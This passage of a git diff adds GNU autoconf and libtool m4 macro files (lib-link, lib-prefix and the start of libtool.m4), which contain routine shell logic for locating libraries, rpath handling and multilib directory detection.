dir=`echo "X$dep" | sed -e 's/^X-R//'` + if test "$enable_rpath" != no; then + dnl Potentially add DIR to rpathdirs. + dnl The rpathdirs will be appended to $LIBNAME at the end. + haveit= + for x in $rpathdirs; do + if test "X$x" = "X$dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + rpathdirs="$rpathdirs $dir" + fi + dnl Potentially add DIR to ltrpathdirs. + dnl The ltrpathdirs will be appended to $LTLIBNAME at the end. + haveit= + for x in $ltrpathdirs; do + if test "X$x" = "X$dir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + ltrpathdirs="$ltrpathdirs $dir" + fi + fi + ;; + -l*) + dnl Handle this in the next round. + dnl But on GNU systems, ignore -lc options, because + dnl - linking with libc is the default anyway, + dnl - linking with libc.a may produce an error + dnl "/usr/bin/ld: dynamic STT_GNU_IFUNC symbol `strcmp' with pointer equality in `/usr/lib/libc.a(strcmp.o)' can not be used when making an executable; recompile with -fPIE and relink with -pie" + dnl or may produce an executable that always crashes, see + dnl . + dep=`echo "X$dep" | sed -e 's/^X-l//'` + if test "X$dep" != Xc \ + || case $host_os in + linux* | gnu* | k*bsd*-gnu) false ;; + *) true ;; + esac; then + names_next_round="$names_next_round $dep" + fi + ;; + *.la) + dnl Handle this in the next round. Throw away the .la's + dnl directory; it is already contained in a preceding -L + dnl option. + names_next_round="$names_next_round "`echo "X$dep" | sed -e 's,^X.*/,,' -e 's,^lib,,' -e 's,\.la$,,'` + ;; + *) + dnl Most likely an immediate library name. + LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$dep" + LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }$dep" + ;; + esac + done + fi + else + dnl Didn't find the library; assume it is in the system directories + dnl known to the linker and runtime loader. (All the system + dnl directories known to the linker should also be known to the + dnl runtime loader, otherwise the system is severely misconfigured.) + LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }-l$name" + LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }-l$name" + fi + fi + fi + done + done + if test "X$rpathdirs" != "X"; then + if test -n "$acl_hardcode_libdir_separator"; then + dnl Weird platform: only the last -rpath option counts, the user must + dnl pass all path elements in one option. We can arrange that for a + dnl single library, but not when more than one $LIBNAMEs are used. + alldirs= + for found_dir in $rpathdirs; do + alldirs="${alldirs}${alldirs:+$acl_hardcode_libdir_separator}$found_dir" + done + dnl Note: acl_hardcode_libdir_flag_spec uses $libdir and $wl. + acl_save_libdir="$libdir" + libdir="$alldirs" + eval flag=\"$acl_hardcode_libdir_flag_spec\" + libdir="$acl_save_libdir" + LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$flag" + else + dnl The -rpath options are cumulative. + for found_dir in $rpathdirs; do + acl_save_libdir="$libdir" + libdir="$found_dir" + eval flag=\"$acl_hardcode_libdir_flag_spec\" + libdir="$acl_save_libdir" + LIB[]NAME="${LIB[]NAME}${LIB[]NAME:+ }$flag" + done + fi + fi + if test "X$ltrpathdirs" != "X"; then + dnl When using libtool, the option that works for both libraries and + dnl executables is -R. The -R options are cumulative. + for found_dir in $ltrpathdirs; do + LTLIB[]NAME="${LTLIB[]NAME}${LTLIB[]NAME:+ }-R$found_dir" + done + fi + popdef([PACKLIBS]) + popdef([PACKUP]) + popdef([PACK]) + popdef([NAME]) +]) + +dnl AC_LIB_APPENDTOVAR(VAR, CONTENTS) appends the elements of CONTENTS to VAR, +dnl unless already present in VAR. +dnl Works only for CPPFLAGS, not for LIB* variables because that sometimes +dnl contains two or three consecutive elements that belong together. +AC_DEFUN([AC_LIB_APPENDTOVAR], +[ + for element in [$2]; do + haveit= + for x in $[$1]; do + AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"]) + if test "X$x" = "X$element"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + [$1]="${[$1]}${[$1]:+ }$element" + fi + done +]) + +dnl For those cases where a variable contains several -L and -l options +dnl referring to unknown libraries and directories, this macro determines the +dnl necessary additional linker options for the runtime path. +dnl AC_LIB_LINKFLAGS_FROM_LIBS([LDADDVAR], [LIBSVALUE], [USE-LIBTOOL]) +dnl sets LDADDVAR to linker options needed together with LIBSVALUE. +dnl If USE-LIBTOOL evaluates to non-empty, linking with libtool is assumed, +dnl otherwise linking without libtool is assumed. +AC_DEFUN([AC_LIB_LINKFLAGS_FROM_LIBS], +[ + AC_REQUIRE([AC_LIB_RPATH]) + AC_REQUIRE([AC_LIB_PREPARE_MULTILIB]) + $1= + if test "$enable_rpath" != no; then + if test -n "$acl_hardcode_libdir_flag_spec" && test "$acl_hardcode_minus_L" = no; then + dnl Use an explicit option to hardcode directories into the resulting + dnl binary. + rpathdirs= + next= + for opt in $2; do + if test -n "$next"; then + dir="$next" + dnl No need to hardcode the standard /usr/lib. + if test "X$dir" != "X/usr/$acl_libdirstem" \ + && test "X$dir" != "X/usr/$acl_libdirstem2" \ + && test "X$dir" != "X/usr/$acl_libdirstem3"; then + rpathdirs="$rpathdirs $dir" + fi + next= + else + case $opt in + -L) next=yes ;; + -L*) dir=`echo "X$opt" | sed -e 's,^X-L,,'` + dnl No need to hardcode the standard /usr/lib. + if test "X$dir" != "X/usr/$acl_libdirstem" \ + && test "X$dir" != "X/usr/$acl_libdirstem2" \ + && test "X$dir" != "X/usr/$acl_libdirstem3"; then + rpathdirs="$rpathdirs $dir" + fi + next= ;; + *) next= ;; + esac + fi + done + if test "X$rpathdirs" != "X"; then + if test -n ""$3""; then + dnl libtool is used for linking. Use -R options. + for dir in $rpathdirs; do + $1="${$1}${$1:+ }-R$dir" + done + else + dnl The linker is used for linking directly. + if test -n "$acl_hardcode_libdir_separator"; then + dnl Weird platform: only the last -rpath option counts, the user + dnl must pass all path elements in one option. + alldirs= + for dir in $rpathdirs; do + alldirs="${alldirs}${alldirs:+$acl_hardcode_libdir_separator}$dir" + done + acl_save_libdir="$libdir" + libdir="$alldirs" + eval flag=\"$acl_hardcode_libdir_flag_spec\" + libdir="$acl_save_libdir" + $1="$flag" + else + dnl The -rpath options are cumulative. + for dir in $rpathdirs; do + acl_save_libdir="$libdir" + libdir="$dir" + eval flag=\"$acl_hardcode_libdir_flag_spec\" + libdir="$acl_save_libdir" + $1="${$1}${$1:+ }$flag" + done + fi + fi + fi + fi + fi + AC_SUBST([$1]) +]) diff --git a/m4/lib-prefix.m4 b/m4/lib-prefix.m4 new file mode 100644 index 00000000..aefe7f71 --- /dev/null +++ b/m4/lib-prefix.m4 @@ -0,0 +1,323 @@ +# lib-prefix.m4 serial 20 +dnl Copyright (C) 2001-2005, 2008-2023 Free Software Foundation, Inc. +dnl This file is free software; the Free Software Foundation +dnl gives unlimited permission to copy and/or distribute it, +dnl with or without modifications, as long as this notice is preserved. + +dnl From Bruno Haible. + +dnl AC_LIB_PREFIX adds to the CPPFLAGS and LDFLAGS the flags that are needed +dnl to access previously installed libraries. The basic assumption is that +dnl a user will want packages to use other packages he previously installed +dnl with the same --prefix option. +dnl This macro is not needed if only AC_LIB_LINKFLAGS is used to locate +dnl libraries, but is otherwise very convenient. +AC_DEFUN([AC_LIB_PREFIX], +[ + AC_BEFORE([$0], [AC_LIB_LINKFLAGS]) + AC_REQUIRE([AC_PROG_CC]) + AC_REQUIRE([AC_CANONICAL_HOST]) + AC_REQUIRE([AC_LIB_PREPARE_MULTILIB]) + AC_REQUIRE([AC_LIB_PREPARE_PREFIX]) + dnl By default, look in $includedir and $libdir. + use_additional=yes + AC_LIB_WITH_FINAL_PREFIX([ + eval additional_includedir=\"$includedir\" + eval additional_libdir=\"$libdir\" + ]) + AC_ARG_WITH([lib-prefix], +[[ --with-lib-prefix[=DIR] search for libraries in DIR/include and DIR/lib + --without-lib-prefix don't search for libraries in includedir and libdir]], +[ + if test "X$withval" = "Xno"; then + use_additional=no + else + if test "X$withval" = "X"; then + AC_LIB_WITH_FINAL_PREFIX([ + eval additional_includedir=\"$includedir\" + eval additional_libdir=\"$libdir\" + ]) + else + additional_includedir="$withval/include" + additional_libdir="$withval/$acl_libdirstem" + fi + fi +]) + if test $use_additional = yes; then + dnl Potentially add $additional_includedir to $CPPFLAGS. + dnl But don't add it + dnl 1. if it's the standard /usr/include, + dnl 2. if it's already present in $CPPFLAGS, + dnl 3. if it's /usr/local/include and we are using GCC on Linux, + dnl 4. if it doesn't exist as a directory. + if test "X$additional_includedir" != "X/usr/include"; then + haveit= + for x in $CPPFLAGS; do + AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"]) + if test "X$x" = "X-I$additional_includedir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + if test "X$additional_includedir" = "X/usr/local/include"; then + if test -n "$GCC"; then + case $host_os in + linux* | gnu* | k*bsd*-gnu) haveit=yes;; + esac + fi + fi + if test -z "$haveit"; then + if test -d "$additional_includedir"; then + dnl Really add $additional_includedir to $CPPFLAGS. + CPPFLAGS="${CPPFLAGS}${CPPFLAGS:+ }-I$additional_includedir" + fi + fi + fi + fi + dnl Potentially add $additional_libdir to $LDFLAGS. + dnl But don't add it + dnl 1. if it's the standard /usr/lib, + dnl 2. if it's already present in $LDFLAGS, + dnl 3. if it's /usr/local/lib and we are using GCC on Linux, + dnl 4. if it doesn't exist as a directory. + if test "X$additional_libdir" != "X/usr/$acl_libdirstem"; then + haveit= + for x in $LDFLAGS; do + AC_LIB_WITH_FINAL_PREFIX([eval x=\"$x\"]) + if test "X$x" = "X-L$additional_libdir"; then + haveit=yes + break + fi + done + if test -z "$haveit"; then + if test "X$additional_libdir" = "X/usr/local/$acl_libdirstem"; then + if test -n "$GCC"; then + case $host_os in + linux*) haveit=yes;; + esac + fi + fi + if test -z "$haveit"; then + if test -d "$additional_libdir"; then + dnl Really add $additional_libdir to $LDFLAGS. + LDFLAGS="${LDFLAGS}${LDFLAGS:+ }-L$additional_libdir" + fi + fi + fi + fi + fi +]) + +dnl AC_LIB_PREPARE_PREFIX creates variables acl_final_prefix, +dnl acl_final_exec_prefix, containing the values to which $prefix and +dnl $exec_prefix will expand at the end of the configure script. +AC_DEFUN([AC_LIB_PREPARE_PREFIX], +[ + dnl Unfortunately, prefix and exec_prefix get only finally determined + dnl at the end of configure. + if test "X$prefix" = "XNONE"; then + acl_final_prefix="$ac_default_prefix" + else + acl_final_prefix="$prefix" + fi + if test "X$exec_prefix" = "XNONE"; then + acl_final_exec_prefix='${prefix}' + else + acl_final_exec_prefix="$exec_prefix" + fi + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + eval acl_final_exec_prefix=\"$acl_final_exec_prefix\" + prefix="$acl_save_prefix" +]) + +dnl AC_LIB_WITH_FINAL_PREFIX([statement]) evaluates statement, with the +dnl variables prefix and exec_prefix bound to the values they will have +dnl at the end of the configure script. +AC_DEFUN([AC_LIB_WITH_FINAL_PREFIX], +[ + acl_save_prefix="$prefix" + prefix="$acl_final_prefix" + acl_save_exec_prefix="$exec_prefix" + exec_prefix="$acl_final_exec_prefix" + $1 + exec_prefix="$acl_save_exec_prefix" + prefix="$acl_save_prefix" +]) + +dnl AC_LIB_PREPARE_MULTILIB creates +dnl - a function acl_is_expected_elfclass, that tests whether standard input +dn; has a 32-bit or 64-bit ELF header, depending on the host CPU ABI, +dnl - 3 variables acl_libdirstem, acl_libdirstem2, acl_libdirstem3, containing +dnl the basename of the libdir to try in turn, either "lib" or "lib64" or +dnl "lib/64" or "lib32" or "lib/sparcv9" or "lib/amd64" or similar. +AC_DEFUN([AC_LIB_PREPARE_MULTILIB], +[ + dnl There is no formal standard regarding lib, lib32, and lib64. + dnl On most glibc systems, the current practice is that on a system supporting + dnl 32-bit and 64-bit instruction sets or ABIs, 64-bit libraries go under + dnl $prefix/lib64 and 32-bit libraries go under $prefix/lib. However, on + dnl Arch Linux based distributions, it's the opposite: 32-bit libraries go + dnl under $prefix/lib32 and 64-bit libraries go under $prefix/lib. + dnl We determine the compiler's default mode by looking at the compiler's + dnl library search path. If at least one of its elements ends in /lib64 or + dnl points to a directory whose absolute pathname ends in /lib64, we use that + dnl for 64-bit ABIs. Similarly for 32-bit ABIs. Otherwise we use the default, + dnl namely "lib". + dnl On Solaris systems, the current practice is that on a system supporting + dnl 32-bit and 64-bit instruction sets or ABIs, 64-bit libraries go under + dnl $prefix/lib/64 (which is a symlink to either $prefix/lib/sparcv9 or + dnl $prefix/lib/amd64) and 32-bit libraries go under $prefix/lib. + AC_REQUIRE([AC_CANONICAL_HOST]) + AC_REQUIRE([gl_HOST_CPU_C_ABI_32BIT]) + + AC_CACHE_CHECK([for ELF binary format], [gl_cv_elf], + [AC_EGREP_CPP([Extensible Linking Format], + [#if defined __ELF__ || (defined __linux__ && defined __EDG__) + Extensible Linking Format + #endif + ], + [gl_cv_elf=yes], + [gl_cv_elf=no]) + ]) + if test $gl_cv_elf = yes; then + # Extract the ELF class of a file (5th byte) in decimal. + # Cf. https://en.wikipedia.org/wiki/Executable_and_Linkable_Format#File_header + if od -A x < /dev/null >/dev/null 2>/dev/null; then + # Use POSIX od. + func_elfclass () + { + od -A n -t d1 -j 4 -N 1 + } + else + # Use BSD hexdump. + func_elfclass () + { + dd bs=1 count=1 skip=4 2>/dev/null | hexdump -e '1/1 "%3d "' + echo + } + fi + # Use 'expr', not 'test', to compare the values of func_elfclass, because on + # Solaris 11 OpenIndiana and Solaris 11 OmniOS, the result is 001 or 002, + # not 1 or 2. +changequote(,)dnl + case $HOST_CPU_C_ABI_32BIT in + yes) + # 32-bit ABI. + acl_is_expected_elfclass () + { + expr "`func_elfclass | sed -e 's/[ ]//g'`" = 1 > /dev/null + } + ;; + no) + # 64-bit ABI. + acl_is_expected_elfclass () + { + expr "`func_elfclass | sed -e 's/[ ]//g'`" = 2 > /dev/null + } + ;; + *) + # Unknown. + acl_is_expected_elfclass () + { + : + } + ;; + esac +changequote([,])dnl + else + acl_is_expected_elfclass () + { + : + } + fi + + dnl Allow the user to override the result by setting acl_cv_libdirstems. + AC_CACHE_CHECK([for the common suffixes of directories in the library search path], + [acl_cv_libdirstems], + [dnl Try 'lib' first, because that's the default for libdir in GNU, see + dnl . + acl_libdirstem=lib + acl_libdirstem2= + acl_libdirstem3= + case "$host_os" in + solaris*) + dnl See Solaris 10 Software Developer Collection > Solaris 64-bit Developer's Guide > The Development Environment + dnl . + dnl "Portable Makefiles should refer to any library directories using the 64 symbolic link." + dnl But we want to recognize the sparcv9 or amd64 subdirectory also if the + dnl symlink is missing, so we set acl_libdirstem2 too. + if test $HOST_CPU_C_ABI_32BIT = no; then + acl_libdirstem2=lib/64 + case "$host_cpu" in + sparc*) acl_libdirstem3=lib/sparcv9 ;; + i*86 | x86_64) acl_libdirstem3=lib/amd64 ;; + esac + fi + ;; + *) + dnl If $CC generates code for a 32-bit ABI, the libraries are + dnl surely under $prefix/lib or $prefix/lib32, not $prefix/lib64. + dnl Similarly, if $CC generates code for a 64-bit ABI, the libraries + dnl are surely under $prefix/lib or $prefix/lib64, not $prefix/lib32. + dnl Find the compiler's search path. However, non-system compilers + dnl sometimes have odd library search paths. But we can't simply invoke + dnl '/usr/bin/gcc -print-search-dirs' because that would not take into + dnl account the -m32/-m31 or -m64 options from the $CC or $CFLAGS. + searchpath=`(LC_ALL=C $CC $CPPFLAGS $CFLAGS -print-search-dirs) 2>/dev/null \ + | sed -n -e 's,^libraries: ,,p' | sed -e 's,^=,,'` + if test $HOST_CPU_C_ABI_32BIT != no; then + # 32-bit or unknown ABI. + if test -d /usr/lib32; then + acl_libdirstem2=lib32 + fi + fi + if test $HOST_CPU_C_ABI_32BIT != yes; then + # 64-bit or unknown ABI. + if test -d /usr/lib64; then + acl_libdirstem3=lib64 + fi + fi + if test -n "$searchpath"; then + acl_save_IFS="${IFS= }"; IFS=":" + for searchdir in $searchpath; do + if test -d "$searchdir"; then + case "$searchdir" in + */lib32/ | */lib32 ) acl_libdirstem2=lib32 ;; + */lib64/ | */lib64 ) acl_libdirstem3=lib64 ;; + */../ | */.. ) + # Better ignore directories of this form. They are misleading. + ;; + *) searchdir=`cd "$searchdir" && pwd` + case "$searchdir" in + */lib32 ) acl_libdirstem2=lib32 ;; + */lib64 ) acl_libdirstem3=lib64 ;; + esac ;; + esac + fi + done + IFS="$acl_save_IFS" + if test $HOST_CPU_C_ABI_32BIT = yes; then + # 32-bit ABI. + acl_libdirstem3= + fi + if test $HOST_CPU_C_ABI_32BIT = no; then + # 64-bit ABI. + acl_libdirstem2= + fi + fi + ;; + esac + test -n "$acl_libdirstem2" || acl_libdirstem2="$acl_libdirstem" + test -n "$acl_libdirstem3" || acl_libdirstem3="$acl_libdirstem" + acl_cv_libdirstems="$acl_libdirstem,$acl_libdirstem2,$acl_libdirstem3" + ]) + dnl Decompose acl_cv_libdirstems into acl_libdirstem, acl_libdirstem2, and + dnl acl_libdirstem3. +changequote(,)dnl + acl_libdirstem=`echo "$acl_cv_libdirstems" | sed -e 's/,.*//'` + acl_libdirstem2=`echo "$acl_cv_libdirstems" | sed -e 's/^[^,]*,//' -e 's/,.*//'` + acl_libdirstem3=`echo "$acl_cv_libdirstems" | sed -e 's/^[^,]*,[^,]*,//' -e 's/,.*//'` +changequote([,])dnl +]) diff --git a/m4/libtool.m4 b/m4/libtool.m4 new file mode 100644 index 00000000..717e7697 --- /dev/null +++ b/m4/libtool.m4 @@ -0,0 +1,8399 @@ +# libtool.m4 - Configure libtool for the host system. -*-Autoconf-*- +# +# Copyright (C) 1996-2001, 2003-2019, 2021-2022 Free Software +# Foundation, Inc. +# Written by Gordon Matzigkeit, 1996 +# +# This file is free software; the Free Software Foundation gives +# unlimited permission to copy and/or distribute it, with or without +# modifications, as long as this notice is preserved. + +m4_define([_LT_COPYING], [dnl +# Copyright (C) 2014 Free Software Foundation, Inc. +# This is free software; see the source for copying conditions. There is NO +# warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + +# GNU Libtool is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of of the License, or +# (at your option) any later version. +# +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program or library that is built +# using GNU Libtool, you may include this file under the same +# distribution terms that you use for the rest of that program. +# +# GNU Libtool is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +]) + +# serial 59 LT_INIT + + +# LT_PREREQ(VERSION) +# ------------------ +# Complain and exit if this libtool version is less that VERSION. +m4_defun([LT_PREREQ], +[m4_if(m4_version_compare(m4_defn([LT_PACKAGE_VERSION]), [$1]), -1, + [m4_default([$3], + [m4_fatal([Libtool version $1 or higher is required], + 63)])], + [$2])]) + + +# _LT_CHECK_BUILDDIR +# ------------------ +# Complain if the absolute build directory name contains unusual characters +m4_defun([_LT_CHECK_BUILDDIR], +[case `pwd` in + *\ * | *\ *) + AC_MSG_WARN([Libtool does not cope well with whitespace in `pwd`]) ;; +esac +]) + + +# LT_INIT([OPTIONS]) +# ------------------ +AC_DEFUN([LT_INIT], +[AC_PREREQ([2.62])dnl We use AC_PATH_PROGS_FEATURE_CHECK +AC_REQUIRE([AC_CONFIG_AUX_DIR_DEFAULT])dnl +AC_BEFORE([$0], [LT_LANG])dnl +AC_BEFORE([$0], [LT_OUTPUT])dnl +AC_BEFORE([$0], [LTDL_INIT])dnl +m4_require([_LT_CHECK_BUILDDIR])dnl + +dnl Autoconf doesn't catch unexpanded LT_ macros by default: +m4_pattern_forbid([^_?LT_[A-Z_]+$])dnl +m4_pattern_allow([^(_LT_EOF|LT_DLGLOBAL|LT_DLLAZY_OR_NOW|LT_MULTI_MODULE)$])dnl +dnl aclocal doesn't pull ltoptions.m4, ltsugar.m4, or ltversion.m4 +dnl unless we require an AC_DEFUNed macro: +AC_REQUIRE([LTOPTIONS_VERSION])dnl +AC_REQUIRE([LTSUGAR_VERSION])dnl +AC_REQUIRE([LTVERSION_VERSION])dnl +AC_REQUIRE([LTOBSOLETE_VERSION])dnl +m4_require([_LT_PROG_LTMAIN])dnl + +_LT_SHELL_INIT([SHELL=${CONFIG_SHELL-/bin/sh}]) + +dnl Parse OPTIONS +_LT_SET_OPTIONS([$0], [$1]) + +# This can be used to rebuild libtool when needed +LIBTOOL_DEPS=$ltmain + +# Always use our own libtool. +LIBTOOL='$(SHELL) $(top_builddir)/libtool' +AC_SUBST(LIBTOOL)dnl + +_LT_SETUP + +# Only expand once: +m4_define([LT_INIT]) +])# LT_INIT + +# Old names: +AU_ALIAS([AC_PROG_LIBTOOL], [LT_INIT]) +AU_ALIAS([AM_PROG_LIBTOOL], [LT_INIT]) +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([AC_PROG_LIBTOOL], []) +dnl AC_DEFUN([AM_PROG_LIBTOOL], []) + + +# _LT_PREPARE_CC_BASENAME +# ----------------------- +m4_defun([_LT_PREPARE_CC_BASENAME], [ +# Calculate cc_basename. Skip known compiler wrappers and cross-prefix. +func_cc_basename () +{ + for cc_temp in @S|@*""; do + case $cc_temp in + compile | *[[\\/]]compile | ccache | *[[\\/]]ccache ) ;; + distcc | *[[\\/]]distcc | purify | *[[\\/]]purify ) ;; + \-*) ;; + *) break;; + esac + done + func_cc_basename_result=`$ECHO "$cc_temp" | $SED "s%.*/%%; s%^$host_alias-%%"` +} +])# _LT_PREPARE_CC_BASENAME + + +# _LT_CC_BASENAME(CC) +# ------------------- +# It would be clearer to call AC_REQUIREs from _LT_PREPARE_CC_BASENAME, +# but that macro is also expanded into generated libtool script, which +# arranges for $SED and $ECHO to be set by different means. +m4_defun([_LT_CC_BASENAME], +[m4_require([_LT_PREPARE_CC_BASENAME])dnl +AC_REQUIRE([_LT_DECL_SED])dnl +AC_REQUIRE([_LT_PROG_ECHO_BACKSLASH])dnl +func_cc_basename $1 +cc_basename=$func_cc_basename_result +]) + + +# _LT_FILEUTILS_DEFAULTS +# ---------------------- +# It is okay to use these file commands and assume they have been set +# sensibly after 'm4_require([_LT_FILEUTILS_DEFAULTS])'. +m4_defun([_LT_FILEUTILS_DEFAULTS], +[: ${CP="cp -f"} +: ${MV="mv -f"} +: ${RM="rm -f"} +])# _LT_FILEUTILS_DEFAULTS + + +# _LT_SETUP +# --------- +m4_defun([_LT_SETUP], +[AC_REQUIRE([AC_CANONICAL_HOST])dnl +AC_REQUIRE([AC_CANONICAL_BUILD])dnl +AC_REQUIRE([_LT_PREPARE_SED_QUOTE_VARS])dnl +AC_REQUIRE([_LT_PROG_ECHO_BACKSLASH])dnl + +_LT_DECL([], [PATH_SEPARATOR], [1], [The PATH separator for the build system])dnl +dnl +_LT_DECL([], [host_alias], [0], [The host system])dnl +_LT_DECL([], [host], [0])dnl +_LT_DECL([], [host_os], [0])dnl +dnl +_LT_DECL([], [build_alias], [0], [The build system])dnl +_LT_DECL([], [build], [0])dnl +_LT_DECL([], [build_os], [0])dnl +dnl +AC_REQUIRE([AC_PROG_CC])dnl +AC_REQUIRE([LT_PATH_LD])dnl +AC_REQUIRE([LT_PATH_NM])dnl +dnl +AC_REQUIRE([AC_PROG_LN_S])dnl +test -z "$LN_S" && LN_S="ln -s" +_LT_DECL([], [LN_S], [1], [Whether we need soft or hard links])dnl +dnl +AC_REQUIRE([LT_CMD_MAX_LEN])dnl +_LT_DECL([objext], [ac_objext], [0], [Object file suffix (normally "o")])dnl +_LT_DECL([], [exeext], [0], [Executable file suffix (normally "")])dnl +dnl +m4_require([_LT_FILEUTILS_DEFAULTS])dnl +m4_require([_LT_CHECK_SHELL_FEATURES])dnl +m4_require([_LT_PATH_CONVERSION_FUNCTIONS])dnl +m4_require([_LT_CMD_RELOAD])dnl +m4_require([_LT_DECL_FILECMD])dnl +m4_require([_LT_CHECK_MAGIC_METHOD])dnl +m4_require([_LT_CHECK_SHAREDLIB_FROM_LINKLIB])dnl +m4_require([_LT_CMD_OLD_ARCHIVE])dnl +m4_require([_LT_CMD_GLOBAL_SYMBOLS])dnl +m4_require([_LT_WITH_SYSROOT])dnl +m4_require([_LT_CMD_TRUNCATE])dnl + +_LT_CONFIG_LIBTOOL_INIT([ +# See if we are running on zsh, and set the options that allow our +# commands through without removal of \ escapes INIT. +if test -n "\${ZSH_VERSION+set}"; then + setopt NO_GLOB_SUBST +fi +]) +if test -n "${ZSH_VERSION+set}"; then + setopt NO_GLOB_SUBST +fi + +_LT_CHECK_OBJDIR + +m4_require([_LT_TAG_COMPILER])dnl + +case $host_os in +aix3*) + # AIX sometimes has problems with the GCC collect2 program. For some + # reason, if we set the COLLECT_NAMES environment variable, the problems + # vanish in a puff of smoke. + if test set != "${COLLECT_NAMES+set}"; then + COLLECT_NAMES= + export COLLECT_NAMES + fi + ;; +esac + +# Global variables: +ofile=libtool +can_build_shared=yes + +# All known linkers require a '.a' archive for static linking (except MSVC and +# ICC, which need '.lib'). +libext=a + +with_gnu_ld=$lt_cv_prog_gnu_ld + +old_CC=$CC +old_CFLAGS=$CFLAGS + +# Set sane defaults for various variables +test -z "$CC" && CC=cc +test -z "$LTCC" && LTCC=$CC +test -z "$LTCFLAGS" && LTCFLAGS=$CFLAGS +test -z "$LD" && LD=ld +test -z "$ac_objext" && ac_objext=o + +_LT_CC_BASENAME([$compiler]) + +# Only perform the check for file, if the check method requires it +test -z "$MAGIC_CMD" && MAGIC_CMD=file +case $deplibs_check_method in +file_magic*) + if test "$file_magic_cmd" = '$MAGIC_CMD'; then + _LT_PATH_MAGIC + fi + ;; +esac + +# Use C for the default configuration in the libtool script +LT_SUPPORTED_TAG([CC]) +_LT_LANG_C_CONFIG +_LT_LANG_DEFAULT_CONFIG +_LT_CONFIG_COMMANDS +])# _LT_SETUP + + +# _LT_PREPARE_SED_QUOTE_VARS +# -------------------------- +# Define a few sed substitution that help us do robust quoting. +m4_defun([_LT_PREPARE_SED_QUOTE_VARS], +[# Backslashify metacharacters that are still active within +# double-quoted strings. +sed_quote_subst='s/\([["`$\\]]\)/\\\1/g' + +# Same as above, but do not quote variable references. +double_quote_subst='s/\([["`\\]]\)/\\\1/g' + +# Sed substitution to delay expansion of an escaped shell variable in a +# double_quote_subst'ed string. +delay_variable_subst='s/\\\\\\\\\\\$/\\\\\\$/g' + +# Sed substitution to delay expansion of an escaped single quote. +delay_single_quote_subst='s/'\''/'\'\\\\\\\'\''/g' + +# Sed substitution to avoid accidental globbing in evaled expressions +no_glob_subst='s/\*/\\\*/g' +]) + +# _LT_PROG_LTMAIN +# --------------- +# Note that this code is called both from 'configure', and 'config.status' +# now that we use AC_CONFIG_COMMANDS to generate libtool. Notably, +# 'config.status' has no value for ac_aux_dir unless we are using Automake, +# so we pass a copy along to make sure it has a sensible value anyway. +m4_defun([_LT_PROG_LTMAIN], +[m4_ifdef([AC_REQUIRE_AUX_FILE], [AC_REQUIRE_AUX_FILE([ltmain.sh])])dnl +_LT_CONFIG_LIBTOOL_INIT([ac_aux_dir='$ac_aux_dir']) +ltmain=$ac_aux_dir/ltmain.sh +])# _LT_PROG_LTMAIN + + +## ------------------------------------- ## +## Accumulate code for creating libtool. ## +## ------------------------------------- ## + +# So that we can recreate a full libtool script including additional +# tags, we accumulate the chunks of code to send to AC_CONFIG_COMMANDS +# in macros and then make a single call at the end using the 'libtool' +# label. + + +# _LT_CONFIG_LIBTOOL_INIT([INIT-COMMANDS]) +# ---------------------------------------- +# Register INIT-COMMANDS to be passed to AC_CONFIG_COMMANDS later. +m4_define([_LT_CONFIG_LIBTOOL_INIT], +[m4_ifval([$1], + [m4_append([_LT_OUTPUT_LIBTOOL_INIT], + [$1 +])])]) + +# Initialize. +m4_define([_LT_OUTPUT_LIBTOOL_INIT]) + + +# _LT_CONFIG_LIBTOOL([COMMANDS]) +# ------------------------------ +# Register COMMANDS to be passed to AC_CONFIG_COMMANDS later. +m4_define([_LT_CONFIG_LIBTOOL], +[m4_ifval([$1], + [m4_append([_LT_OUTPUT_LIBTOOL_COMMANDS], + [$1 +])])]) + +# Initialize. +m4_define([_LT_OUTPUT_LIBTOOL_COMMANDS]) + + +# _LT_CONFIG_SAVE_COMMANDS([COMMANDS], [INIT_COMMANDS]) +# ----------------------------------------------------- +m4_defun([_LT_CONFIG_SAVE_COMMANDS], +[_LT_CONFIG_LIBTOOL([$1]) +_LT_CONFIG_LIBTOOL_INIT([$2]) +]) + + +# _LT_FORMAT_COMMENT([COMMENT]) +# ----------------------------- +# Add leading comment marks to the start of each line, and a trailing +# full-stop to the whole comment if one is not present already. +m4_define([_LT_FORMAT_COMMENT], +[m4_ifval([$1], [ +m4_bpatsubst([m4_bpatsubst([$1], [^ *], [# ])], + [['`$\]], [\\\&])]m4_bmatch([$1], [[!?.]$], [], [.]) +)]) + + + +## ------------------------ ## +## FIXME: Eliminate VARNAME ## +## ------------------------ ## + + +# _LT_DECL([CONFIGNAME], VARNAME, VALUE, [DESCRIPTION], [IS-TAGGED?]) +# ------------------------------------------------------------------- +# CONFIGNAME is the name given to the value in the libtool script. +# VARNAME is the (base) name used in the configure script. +# VALUE may be 0, 1 or 2 for a computed quote escaped value based on +# VARNAME. Any other value will be used directly. +m4_define([_LT_DECL], +[lt_if_append_uniq([lt_decl_varnames], [$2], [, ], + [lt_dict_add_subkey([lt_decl_dict], [$2], [libtool_name], + [m4_ifval([$1], [$1], [$2])]) + lt_dict_add_subkey([lt_decl_dict], [$2], [value], [$3]) + m4_ifval([$4], + [lt_dict_add_subkey([lt_decl_dict], [$2], [description], [$4])]) + lt_dict_add_subkey([lt_decl_dict], [$2], + [tagged?], [m4_ifval([$5], [yes], [no])])]) +]) + + +# _LT_TAGDECL([CONFIGNAME], VARNAME, VALUE, [DESCRIPTION]) +# 